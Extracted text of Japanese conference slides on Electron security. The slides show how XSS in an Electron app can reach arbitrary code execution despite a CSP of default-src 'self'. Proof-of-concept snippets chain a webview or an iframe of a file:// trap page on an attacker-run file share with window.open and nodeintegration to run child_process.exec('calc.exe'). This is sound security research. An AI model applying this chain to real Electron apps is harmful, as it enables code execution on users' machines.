Electronのはなし はせがわようすけ http://utf-8.jp/
自 己 紹 介 はせがわようすけ @hasegawayosuke ( 株 )セキュアスカイ テクノロジー 常 勤 技 術 顧 問 OWASP Kansaiチャプターリーダー OWASP Japanボードメンバー http//utf-8.jp/
宣 伝 : 本 が 出 ました
ブラウザハック Wade Alcorn Christian Frichot Michele Orrù 著 園 田 道 夫 西 村 宗 晃 はせがわ ようすけ 監 修 http://www.shoeisha.co.jp/ book/detail/9784798143439
ブラウザハック 書 籍 内 日 本 人 で 唯 一 のバイネームな 記 述
ブラウザハック 書 籍 内 日 本 人 で 唯 一 のバイネームな 記 述 監 修 者 まえがき 特 に 原 稿 が 遅 いはせがわ ようすけさんにはハラハラさ せられました ( Д`;)
ブラウザハック 書 籍 内 日 本 人 で 唯 一 のバイネームな 記 述 監 修 者 まえがき 特 に 原 稿 が 遅 いはせがわ ようすけさんにはハラハラさ せられました 2009 年 に 日 本 のセキュリ ティ 研 究 家 のはせがわよう すけが [],$_+:~{}とその 他 わずかの のみで JavaScriptコードを v(*'ω'*)v
今 日 の 話
Electronのセキュリティの 話 詳 しい 話 はこのあたりを 見 てください http://utf-8.jp/public/2016/0307/electron.pdf
Electronの 倒 し 方 - #html5jplat https://codeiq.jp/magazine/2016/03/38961/
Electronの 倒 し 方 - #html5jplat 最 後 にはせがわ 氏 は webviewタグ webframeapiなど 今 回 触 れなかったElectron 固 有 の 注 意 点 については 3 月 28 日 に 開 催 するShibuya.XSSで 説 明 する と 語 り
しません><
今 日 の 話 題 その1. Electron vs CSP その2. Electronのnodeモジュール 探 索 パス
その1 Electron vs CSP
ElectronへのCSPの 適 用 レンダラにCSPを 適 用 <meta http-equiv="content-security-policy" content="default-src 'self'"> CSPが 指 定 されてもwebviewタグ 内 では 自 由 にスクリプトが 実 行 可 能 <webview nodeintegration src="data:text/html, <script> require('child_process').exec('calc.exe', ()=>{}) </script> "></webview> CSPではXSSの 緩 和 にならない http://utf-8.jp/public/2016/0307/electron.pdf
ElectronへのCSPの 適 用 webviewタグを 使 わずどこまで 攻 撃 できるのか XSSはあるがCSPは 適 用 されている // main.js app.on('ready', ()=>{ mainwindow = new BrowserWindow({width: 600, height: 400} ); mainwindow.loadurl( `file://${ dirname}/index.html` );... <meta http-equiv="content-security-policy" content="default-src 'self'"> <script src="index.js"></script> // index.js document.queryselector("#msg").innerhtml = xss_source; //XSS!
ElectronへのCSPの 適 用 レンダラ 内 は 同 一 オリジン 以 外 のリソースは 禁 止 <meta http-equiv="content-security-policy" content="default-src 'self'"> <script src="index.js"></script> // index.js document.queryselector("#msg").innerhtml = xss_source; //XSS! <script src="http://example.jp/evil.js"></script> 発 火 しない <img src=# onload=alert(1)> CSPでブロック <iframe src="http://example.jp/"></iframe> CSPでブロック <iframe src="file.html"></iframe> 表 示 される iframe 内 のスクリプトも 動 作
ElectronへのCSPの 適 用 iframeの 埋 め 込 みは 可 能! <meta http-equiv="content-security-policy" content="default-src 'self'"> <script src="index.js"></script> // index.js document.queryselector("#msg").innerhtml = xss_source; //XSS! <iframe src="file.html"></iframe> <!-- file.html 内 --> <script>console.log(1);</script> iframe 内 で 実 行 される
ElectronへのCSPの 適 用 CSPが 適 用 されているがXSSがあるアプリ src=http://なiframeは 埋 め 込 み 不 可 src=file://なiframeの 埋 め 込 みが 可 能 iframe 内 のJavaScriptは 動 作 する CSPが 適 用 された 通 常 どおりの 動 作 file://なhtml 内 に 悪 意 のあるコードを 埋 め 込 め ば 攻 略 できるのでは!
ElectronへのCSPの 適 用 file://なhtml 内 に 悪 意 のあるコードを 埋 め 込 め ば 攻 略 できるのでは! そもそも 同 一 オリジン はどこ? // main.js app.on('ready', ()=>{ mainwindow = new BrowserWindow({width: 600, height: 400} ); mainwindow.loadurl( `file://${ dirname}/index.html` );... ディレクトリ 関 係 なく 全 ファイルが 同 一 オリジン console.log( location.origin ); // => "file://"
ElectronへのCSPの 適 用 file://なhtml 内 に 悪 意 のあるコードを 埋 め 込 め ば 攻 略 できるのでは! Electronアプリの 外 側 でもいい 任 意 のフォルダ file://スキームで 罠 ファイルを 用 意 する 方 法 事 前 に 悪 意 のあるファイルをダウンロードさせる? ダウンロード 先 フォルダを 攻 撃 者 は 知 る 必 要 があ る Electron 他 アプリ 等 でeval(xhr.responseText) みたいな 任 意 コードできるHTMLがないか 探 す さすがに 簡 単 には 見 当 たらない
ElectronへのCSPの 適 用 file://スキームで 罠 ファイルを 用 意 する 方 法 ファイルサーバ(CIFS or WebDAV)を 立 ち 上 げて file://file-server/share/trap.html みたいなファイルを 用 意 すればいい! <meta http-equiv="content-security-policy" content="default-src 'self'"> <iframe src="file://server/share/trap.html"></iframe>
ElectronへのCSPの 適 用 罠 HTMLファイル 内 のコード そのままではnode.jsの 機 能 が 使 えない 任 意 コード 実 行 とまで 言 えない typeof require; // => "undefined" nodeを 有 効 にしてwindowを 開 きなおす <script> window.open(`data:text/html, <script> require('child_process').exec('calc.exe',()=>{}) < /script>`, "","nodeintegration=1") </script>
ElectronへのCSPの 適 用 :まとめ CSPでdefault-src 'self'が 効 いていても 任 意 フォルダのfile:スキームなコンテンツが 読 める ファイルサーバ 上 のコンテンツも 読 める ファイルサーバに 罠 コンテンツを 用 意 し <iframe>をインジェクトすることで 任 意 コード 実 行 が 可 能 結 論 : CSPが 指 定 されていてもXSSがあれば webviewタグを 使 わなくても 任 意 コード 実 行 が 可 能
Electronのnodeモジュール 探 索 パス
検 閲 により 削 除
質 問? hasegawa@utf-8.jp @hasegawayosuke http://utf-8.jp/